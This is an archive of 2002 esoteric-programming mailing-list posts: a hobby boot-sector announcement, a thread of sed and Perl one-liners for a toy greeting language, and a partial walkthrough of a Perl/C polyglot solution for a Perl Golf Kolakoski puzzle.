Received: with LISTAR (v0.129a; list misc); Mon, 06 May 2002 04:08:06 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 174Wvi-000Al6-00; Mon, 06 May 2002 04:04:42 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 06 May 2002 04:04:35 +0300 (EEST)
Received: from cepheus.azstarnet.com ([169.197.56.195])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 174Wva-000Al0-00
	for lang@esoteric.sange.fi; Mon, 06 May 2002 04:04:34 +0300
Received: from andromeda (andromeda.azstarnet.com [169.197.53.210])
	by cepheus.azstarnet.com (8.9.3/8.9.3) with ESMTP id SAA09992
	for <lang@esoteric.sange.fi>; Sun, 5 May 2002 18:04:16 -0700 (MST)
X-Sent-via: StarNet http://www.azstarnet.com/
Date: Sun, 5 May 2002 18:04:16 -0700 (MST)
From: Jeff  Johnston <jeffryj@azstarnet.com>
X-X-Sender:  <jeffryj@andromeda>
To: <lang@esoteric.sange.fi>
Subject: [lang] [ESO] ESOBOOT 1.10
In-Reply-To: <3CD0C9D8001F1FBE@> (added by postmaster@wanadoo.fr)
Message-ID: <Pine.GSO.4.31.0205051759510.26267-100000@andromeda>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: jeffryj@azstarnet.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: jeffryj@azstarnet.com
Precedence: bulk
X-list: misc

Hi,

Was having some fun with the boot sector.  I have completely revamped it.
Now it is somewhat FAT12 compliant (but not completely, wouldn't want to
be TOO good ;)  Aslo it actually is able to load the ESO KERNEL (when one
is written).  Right now the kernel just prints "!" so I know it gets to
it.

Get ESOBOOT 1.10 here:
http://www.azstarnet.com/~jeffryj/esofunk.html

I've also added some incomplete docs and sources for other
elements of the ESO (IFS,MCP,CONSOLE,ESOFUNK).

Comments welcome.

Enjoy,
Jeff






From esoteric@oiva.sange.fi Wed May 08 18:28:11 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175TLM-000GB1-00; Wed, 08 May 2002 18:27:04 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 18:26:57 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175TIn-000GAo-00; Wed, 08 May 2002 18:24:25 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 18:24:18 +0300 (EEST)
Received: from [212.16.6.108] (helo=frox25.dhs.org)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 175TId-000GAi-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 18:24:16 +0300
Received: (qmail 37155 invoked from network); 8 May 2002 14:57:08 -0000
Received: from heartw.ih (10.0.17.4)
  by nova.ih with SMTP; 8 May 2002 14:57:08 -0000
Date: Wed, 8 May 2002 19:17:54 +0400
From: Mtv Europe <mtve@frox25.dhs.org>
X-Mailer: The Bat! (v1.49) Personal
X-Priority: 3 (Normal)
Message-ID: <591580221237.20020508191754@frox25.dhs.org>
To: Nikita Ayzikovsky <order_of_may@yahoo.com>
CC: lang@esoteric.sange.fi
Subject: [lang] Re: A new language: Summer 2002
In-reply-To: <20020504040943.68366.qmail@web12904.mail.yahoo.com>
References: <20020504040943.68366.qmail@web12904.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
X-list: misc

A Nikita.

Saturday, May 04, 2002, 8:09:43 AM, you wrote:
> #!/bin/sh
> cat $1 | sed -n 's/^An\?\(.*[^.?!]\).*/Hello\1!/p'

> much better :)

This script is imho more strict:

#!/usr/bin/perl -pe '$_ x=s/^An?([^.?!]*).*/Hello,$1!/'

And this adds nondeterminism as required in original specification:

#!/usr/bin/perl -n
splice@.,rand@.,0,$_ x=s/^An?([^.?!]*).*/Hello,$1!/}{print@.

I wonder what Jerome will answer :)

----
Mtv Europe







From esoteric@oiva.sange.fi Wed May 08 18:40:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175TYL-000GFp-00; Wed, 08 May 2002 18:40:29 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 18:40:22 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175TXw-000GFf-00; Wed, 08 May 2002 18:40:05 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 18:39:57 +0300 (EEST)
Received: from smtp-out-4.wanadoo.fr ([193.252.19.23] helo=mel-rto4.wanadoo.fr)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175TXk-000GFZ-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 18:39:57 +0300
Received: from mel-rta7.wanadoo.fr (193.252.19.61) by mel-rto4.wanadoo.fr (6.5.007)
        id 3CD2B96E00248F8F for lang@esoteric.sange.fi; Wed, 8 May 2002 17:39:49 +0200
Received: from there (217.128.4.154) by mel-rta7.wanadoo.fr (6.5.007)
        id 3CD0C97C0035AE33 for lang@esoteric.sange.fi; Wed, 8 May 2002 17:39:49 +0200
Message-ID: <3CD0C97C0035AE33@> (added by postmaster@wanadoo.fr)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Jerome Quelin <jquelin@wanadoo.fr>
To: lang@esoteric.sange.fi
Subject: [lang] Re: A new language: Summer 2002
Date: Wed, 8 May 2002 17:40:30 +0200
X-Mailer: KMail [version 1.3.1]
References: <20020504040943.68366.qmail@web12904.mail.yahoo.com> <591580221237.20020508191754@frox25.dhs.org>
In-Reply-To: <591580221237.20020508191754@frox25.dhs.org>
MIME-Version: 1.0
Content-Transfer-Encoding: Quoted-Printable
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
X-list: misc

On Mercredi 8 Mai 2002 17:17, Mtv Europe wrote :
> #!/usr/bin/perl -n
> splice@.,rand@.,0,$_ x=3Ds/^An?([^.?!]*).*/Hello,$1!/}{print@.
>
> I wonder what Jerome will answer :)

I joined the fun of esoteric only recently... So I don't know what the sc=
ript=20
is supposed to be. (ie, which input/output).

Btw, I thought golfing was finished till next month? ;)

Jer=F4me
--=20
jquelin@wanadoo.fr





From esoteric@oiva.sange.fi Wed May 08 19:00:01 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175TrA-000GIU-00; Wed, 08 May 2002 18:59:56 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 18:59:49 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175Tqv-000GIO-00; Wed, 08 May 2002 18:59:41 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 18:59:34 +0300 (EEST)
Received: from [212.16.6.108] (helo=frox25.dhs.org)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 175Tqn-000GII-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 18:59:33 +0300
Received: (qmail 37588 invoked from network); 8 May 2002 15:32:27 -0000
Received: from heartw.ih (10.0.17.4)
  by nova.ih with SMTP; 8 May 2002 15:32:27 -0000
Date: Wed, 8 May 2002 19:53:13 +0400
From: Mtv Europe <mtve@frox25.dhs.org>
X-Mailer: The Bat! (v1.49) Personal
X-Priority: 3 (Normal)
Message-ID: <1641582340548.20020508195313@frox25.dhs.org>
To: lang@esoteric.sange.fi
Subject: [lang] Re: A new language: Summer 2002
In-reply-To: <3CD0C97C0035AE33@>
References: <20020504040943.68366.qmail@web12904.mail.yahoo.com>
 <591580221237.20020508191754@frox25.dhs.org> <3CD0C97C0035AE33@> (added by
 postmaster@wanadoo.fr)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
X-list: misc

Hello Jerome!

Wednesday, May 08, 2002, 7:40:30 PM, you wrote:

> I joined the fun of esoteric only recently... So I don't know what the script
> is supposed to be. (ie, which input/output).

It's for some simple esoteric language.

> Btw, I thought golfing was finished till next month? ;)

Just an interseasonal limbering-up and training to be in shape :)

----
Mtv Europe







From esoteric@oiva.sange.fi Wed May 08 22:59:50 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175Xb1-000Gv1-00; Wed, 08 May 2002 22:59:31 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 22:59:23 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175XaQ-000Guv-00; Wed, 08 May 2002 22:58:54 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 22:58:47 +0300 (EEST)
Received: from web12901.mail.yahoo.com ([216.136.174.68])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 175XaH-000Gup-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 22:58:46 +0300
Message-ID: <20020508195842.17591.qmail@web12901.mail.yahoo.com>
Received: from [24.78.145.92] by web12901.mail.yahoo.com via HTTP; Wed, 08 May 2002 12:58:42 PDT
Date: Wed, 8 May 2002 12:58:42 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: A new language: Summer 2002
To: lang@esoteric.sange.fi
In-Reply-To: <591580221237.20020508191754@frox25.dhs.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

--- Mtv Europe <mtve@frox25.dhs.org> wrote:

> A Nikita.
Hello Nikita! :)

> > #!/bin/sh
> > cat $1 | sed -n 's/^An\?\(.*[^.?!]\).*/Hello\1!/p'
> 
> This script is imho more strict:
> 
> #!/usr/bin/perl -pe '$_ x=s/^An?([^.?!]*).*/Hello,$1!/'

EWWW perl ;)

How is it more strict?

Anyway I think it's broken, ([^.?!]*) will stop at the first punctuation mark,
but punctuation is allowed between words (A bright! sunny! day!). Not that I
know much about perl and EREs, correct me if i'm wrong.

> And this adds nondeterminism as required in original specification:
> 
> #!/usr/bin/perl -n
> splice@.,rand@.,0,$_ x=s/^An?([^.?!]*).*/Hello,$1!/}{print@.

Eww perl again :)

__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com





From esoteric@oiva.sange.fi Wed May 08 23:19:42 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175Xtu-000H0g-00; Wed, 08 May 2002 23:19:02 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 23:18:55 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175Xtb-000H0V-00; Wed, 08 May 2002 23:18:43 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 23:18:36 +0300 (EEST)
Received: from [212.16.6.108] (helo=frox25.dhs.org)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 175XtU-000H0O-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 23:18:36 +0300
Received: (qmail 40513 invoked from network); 8 May 2002 19:51:25 -0000
Received: from heartw.ih (10.0.17.4)
  by nova.ih with SMTP; 8 May 2002 19:51:25 -0000
Date: Thu, 9 May 2002 00:12:04 +0400
From: Mtv Europe <mtve@frox25.dhs.org>
X-Mailer: The Bat! (v1.49) Personal
X-Priority: 3 (Normal)
Message-ID: <491597874812.20020509001204@frox25.dhs.org>
To: lang@esoteric.sange.fi
Subject: [lang] Re: A new language: Summer 2002
In-reply-To: <20020508195842.17591.qmail@web12901.mail.yahoo.com>
References: <20020508195842.17591.qmail@web12901.mail.yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
X-list: misc

Hello Nikita!

Wednesday, May 08, 2002, 11:58:42 PM, you wrote:

>>> cat $1 | sed -n 's/^An\?\(.*[^.?!]\).*/Hello\1!/p'
>> #!/usr/bin/perl -pe '$_ x=s/^An?([^.?!]*).*/Hello,$1!/'
> Anyway I think it's broken, ([^.?!]*) will stop at the first punctuation mark,
> but punctuation is allowed between words (A bright! sunny! day!). Not that I
> know much about perl and EREs, correct me if i'm wrong.

Oops, I misread specification, (.*[^.?!]).* is correct.

----
Mtv Europe







From esoteric@oiva.sange.fi Wed May 08 23:32:08 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175Y6N-000H2o-00; Wed, 08 May 2002 23:31:55 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 23:31:48 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175Y6C-000H2h-00; Wed, 08 May 2002 23:31:44 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 23:31:37 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175Y65-000H2b-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 23:31:37 +0300
Received: from dds.nl (xs241-239-22.dial.tiscali.nl [195.241.239.22])
	by pandora.tiscali.nl (Postfix) with ESMTP id 4311837B9F
	for <lang@esoteric.sange.fi>; Wed,  8 May 2002 22:31:24 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3CD9903B.DB639BA4@dds.nl>
Date: Wed, 08 May 2002 22:53:15 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: A new language: Summer 2002
References: <20020508195842.17591.qmail@web12901.mail.yahoo.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Nikita Ayzikovsky wrote:

> > A Nikita.
> Hello Nikita! :)

I think this is going wrong here...  You're supposed to put your own name after
the "A" or "An", so that the replyer (if that's a word - well, it is now) will
greet you correctly.  There's little point in greeting yourself...  So my correct
line now would be:

A Milo.

Also, if these lines are treated as Summer 2002 commands, does that mean the rest
of the email is comments and should be ignored?

> > > #!/bin/sh
> > > cat $1 | sed -n 's/^An\?\(.*[^.?!]\).*/Hello\1!/p'
> >
> > This script is imho more strict:
> >
> > #!/usr/bin/perl -pe '$_ x=s/^An?([^.?!]*).*/Hello,$1!/'
>
> EWWW perl ;)

Agreed.

> Anyway I think it's broken, ([^.?!]*) will stop at the first punctuation mark,
> but punctuation is allowed between words (A bright! sunny! day!). Not that I
> know much about perl and EREs, correct me if i'm wrong.

I'm assuming that "s/^An?([^.?!]*).*/Hello,$1!/" means the same as it does in
sed, plus or minus that no two regular expression implementations ever quite
agree on which special characters are backslashed and which aren't (and that the
\1 turns into a $1, but I know just enough perl to know that $s are used for
variables, so this change makes sense), in which case you're right.  The original
sed version was correct, though.

Also, if I type something like "Abracadabra", I don't think it should be answered
with "Hello,bracadabra", so that's another mistake.

> > And this adds nondeterminism as required in original specification:
> >
> > #!/usr/bin/perl -n
> > splice@.,rand@.,0,$_ x=s/^An?([^.?!]*).*/Hello,$1!/}{print@.
>
> Eww perl again :)

Agreed again.  What does this stuff actually mean?  You see, perl was made with
to goal to be an actually useful language (to avoid flamewars, I am not making
any statements about whether this goal has been achieved), so it's uninteresting
to the esoteric community (see the Essies rules), no matter how esoteric the
syntax.






From esoteric@oiva.sange.fi Wed May 08 23:41:59 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175YG5-000H83-00; Wed, 08 May 2002 23:41:58 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 23:41:50 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175YFw-000H7w-00; Wed, 08 May 2002 23:41:48 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 23:41:40 +0300 (EEST)
Received: from web12906.mail.yahoo.com ([216.136.174.73])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 175YFn-000H7q-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 23:41:39 +0300
Message-ID: <20020508204136.42305.qmail@web12906.mail.yahoo.com>
Received: from [24.78.145.92] by web12906.mail.yahoo.com via HTTP; Wed, 08 May 2002 13:41:36 PDT
Date: Wed, 8 May 2002 13:41:36 -0700 (PDT)
From: Nikita Ayzikovsky <order_of_may@yahoo.com>
Subject: [lang] Re: A new language: Summer 2002
To: lang@esoteric.sange.fi
In-Reply-To: <3CD9903B.DB639BA4@dds.nl>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: order_of_may@yahoo.com
Precedence: bulk
X-list: misc

--- Milo van Handel <mwq@dds.nl> wrote:

> A Milo.
Hello, Milo!

> Also, if these lines are treated as Summer 2002 commands, does that mean the
> rest
> of the email is comments and should be ignored?

Certainly, but that doesn't prevent you from treating the text of the message
as a polyglot program - say, a Summer 2002 - English polyglot.

> Also, if I type something like "Abracadabra", I don't think it should be
> answered
> with "Hello,bracadabra", so that's another mistake.

Oops. Then the sed command should be
sed -n 's/^An\?\( .*[^.?!]\).*/Hello,\1!/p'

__________________________________________________
Do You Yahoo!?
Yahoo! Health - your guide to health and wellness
http://health.yahoo.com





From esoteric@oiva.sange.fi Wed May 08 23:45:10 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175YJB-000H9T-00; Wed, 08 May 2002 23:45:09 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 08 May 2002 23:45:02 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175YJ3-000H9I-00; Wed, 08 May 2002 23:45:01 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 08 May 2002 23:44:54 +0300 (EEST)
Received: from [212.16.6.108] (helo=frox25.dhs.org)
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 175YIw-000H9C-00
	for lang@esoteric.sange.fi; Wed, 08 May 2002 23:44:54 +0300
Received: (qmail 40809 invoked from network); 8 May 2002 20:17:43 -0000
Received: from heartw.ih (10.0.17.4)
  by nova.ih with SMTP; 8 May 2002 20:17:43 -0000
Date: Thu, 9 May 2002 00:38:22 +0400
From: Mtv Europe <mtve@frox25.dhs.org>
X-Mailer: The Bat! (v1.49) Personal
X-Priority: 3 (Normal)
Message-ID: <1551599452615.20020509003822@frox25.dhs.org>
To: Milo van Handel <mwq@dds.nl>
CC: lang@esoteric.sange.fi
Subject: [lang] Re: A new language: Summer 2002
In-reply-To: <3CD9903B.DB639BA4@dds.nl>
References: <20020508195842.17591.qmail@web12901.mail.yahoo.com>
 <3CD9903B.DB639BA4@dds.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mtve@frox25.dhs.org
Precedence: bulk
X-list: misc

Hello, Milo!

Thursday, May 09, 2002, 12:53:15 AM, you wrote:

> A Milo.

> Also, if these lines are treated as Summer 2002 commands, does that mean the rest
> of the email is comments and should be ignored?

:)

>> Eww perl again :)

> Agreed again.  What does this stuff actually mean?  You see, perl was made with
> to goal to be an actually useful language (to avoid flamewars, I am not making
> any statements about whether this goal has been achieved), so it's uninteresting
> to the esoteric community (see the Essies rules), no matter how esoteric the
> syntax.

Ok, sorry, everybody.   Befunge next time.

----
Mtv Europe







From esoteric@oiva.sange.fi Thu May 09 12:24:44 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175k9w-000JGa-00; Thu, 09 May 2002 12:24:24 +0300
Received: with LISTAR (v0.129a; list misc); Thu, 09 May 2002 12:24:17 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175k92-000JGT-00; Thu, 09 May 2002 12:23:28 +0300
Received: with LISTAR (v0.129a; list lang); Thu, 09 May 2002 12:23:21 +0300 (EEST)
Received: from smtp-out-3.wanadoo.fr ([193.252.19.233] helo=mel-rto3.wanadoo.fr)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 175k8g-000JGN-00
	for lang@esoteric.sange.fi; Thu, 09 May 2002 12:23:06 +0300
Received: from mel-rta10.wanadoo.fr (193.252.19.193) by mel-rto3.wanadoo.fr (6.5.007)
        id 3CD2B91F002C9004 for lang@esoteric.sange.fi; Thu, 9 May 2002 11:23:01 +0200
Received: from there (217.128.4.154) by mel-rta10.wanadoo.fr (6.5.007)
        id 3CD0C9A7003E6777 for lang@esoteric.sange.fi; Thu, 9 May 2002 11:23:01 +0200
Message-ID: <3CD0C9A7003E6777@> (added by postmaster@wanadoo.fr)
Content-Type: text/plain;
  charset="iso-8859-15"
From: Jerome Quelin <jquelin@wanadoo.fr>
To: lang@esoteric.sange.fi
Subject: [lang] No matter the language, programming is fun! [long]
Date: Thu, 9 May 2002 11:23:44 +0200
X-Mailer: KMail [version 1.3.1]
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: jquelin@wanadoo.fr
Precedence: bulk
X-list: misc

Hi folks,


Maybe you don't know about it, but there's a Perl Golf tournament each month 
(see http://perlgolf.sourceforge.net). What is Perl Golf? You are given a 
problem, and you must solve it (in Perl) with the fewest amount of 
characters. The shortest program. The analogy with real Golf is obvious (the 
fewer the better), hence the name.

This kind of contest leads to very much fun, and really crazy solutions. If 
you felt offended when you saw the trivial regex presented in the "Summer 
2002" thread, then don't go there: you'll loose your mental health. =<:o)

As always, the new contest began on the 1st of the month. There were two 
problems submitted, one of them was the "Kolakoski" numbers (self describing 
numbers, see the link http://perlgolf.sourceforge.net/TPR/0/3/ for more 
details). The program was to print the n first numbers of the Kolakoski 
number build with two digits provided

Anyway, I won't go into details about Perl Golf and the solutions - there is 
another mailing list for those nifty grifty details. This mail is about a 
particular experience I had within this tournament.


In a moment of intense frustration (yeah, it's very tough to be stuck at a 
given score and to see other people improve their score and take you some 
places on the leaderboard), I decided to write a bilingual entry for the 
problem, that would work either in C or in Perl.


I started with the stub:
  #include <stdio.h>
  #include <stdlib.h>
  #define $ /*
  "*/
  main (int argc, char *argv[]) //";
  {
  }

The preprocessor lines are comments for Perl, so far so good.
As Perl vars begin with a dollar sign ($), I had to define it to the
empty string. Since Perl allows to access the variable "$var" as "$ var"
(you can include a space between the dollar and the name of the var),
by defining $ in C as the empty string will allow "$ foo" to access the var
$foo in Perl and foo in C.

I then open a comment, in which I place a quote (") in
order to declare the main function in C. This way, Perl will see the
instruction:

  "*/\nmain (int argc, char *argv[]) //";

which is valid, but would raise a "Useless use of a constant..." if we
were under warnings (-w switch). But since we're not, we're safe.

We close the Perl string transparently for C with the new C-style
comment //.

We then open the braces, who begin the main function in C, and an
anonymous bloc in Perl.


Now, I had to address a few tricks. First, arguments can be accessed
with ARGV in Perl, but they are stored in argv in C. That's why I'm
forced to:

  #define ARGV argv

and then I can access the ARGV variable in C.


One more trick with the ARGV var: C's first argument is arg[1], but
Perl's first argument is in $ARGV[0]. No problem, I just need to
"unshift" an argument in @ARGV in Perl. I need to include this
instruction in the C comment, since this is not valid C syntax.

A last problem: C argv is a string array, and since I'm waiting for
integer, I need to transform them into integer, using the C atoi() function. 
But Perl does not care about such hacks: a string can be interpreted as a
number (and vice-versa) without adding extra stuff. So I need to
declare:

  sub atoi{ $_[0] }

that will return the first argument. This way, atoi( $var ) will be a
no-op in Perl.

Okay, let's recapitulate so far. My program stub looks like this:

  #include <stdio.h>
  #include <stdlib.h>
  #define ARGV argv
  #define $ /*
  unshift @ARGV, "foo";
  sub atoi{ $_[0] }
  "*/
  main (int argc, char *argv[]) //";
  {
  }



Now, we just need to fill in the program. And it's kinda easy, since C
and Perl share quite the same syntax.
First, let's declare our C vars:

  int $ tab[atoi( $ ARGV[3])];
  int $ i;
  int $ which, $ offset;
  $ which = $ offset = 1;
  $ tab [1] = atoi( $ ARGV[ $ which ] );

Those are valid Perl instruction (although they would issue a warning
"Useless use..." if we were under warnings), so Perl won't complain.
The last two lines show you an example of accessing vars both in C and
Perl.

Let's use the printf function (Perl and C valid):

  printf("%d", $ tab[1]);

And a for loop a-la-C:

  for( $ i = 2; $ i <= atoi( $ ARGV[3] ) ; $ i++ ) {
    $ tab[ $ offset ] -= 1;
    if ( $ tab[ $ offset ] == 0 ) {
      $ offset++;
      $ which = ( ! ( -- $ which ) ) + 1;
    }
    printf("%d", $ tab[ $ i ] = atoi( $ ARGV[ $ which ] ) );
  }

This is really straight-forward once the beginning has been
explained (and once you realize that auto-in/decrement are valid both
in Perl and C). So I won't go in details (the algorithm itself is the one I 
used for my Perl only solution, and I won't explain it here, I assume you're 
smart enough to understand it)...

We just need to print a final \n:

  printf("\n");

And here we are, with a bilingual Perl/C program:

  #include <stdio.h>
  #include <stdlib.h>
  #define ARGV argv
  #define $ /*
  unshift @ARGV, "foo";
  sub atoi{ $_[0] }
  "*/
  main (int argc, char *argv[]) //";
  {
    int $ tab[atoi( $ ARGV[3])];
    int $ i;
    int $ which, $ offset;
    $ which = $ offset = 1;
    $ tab [1] = atoi( $ ARGV[ $ which ] );
    printf("%d", $ tab[1]);
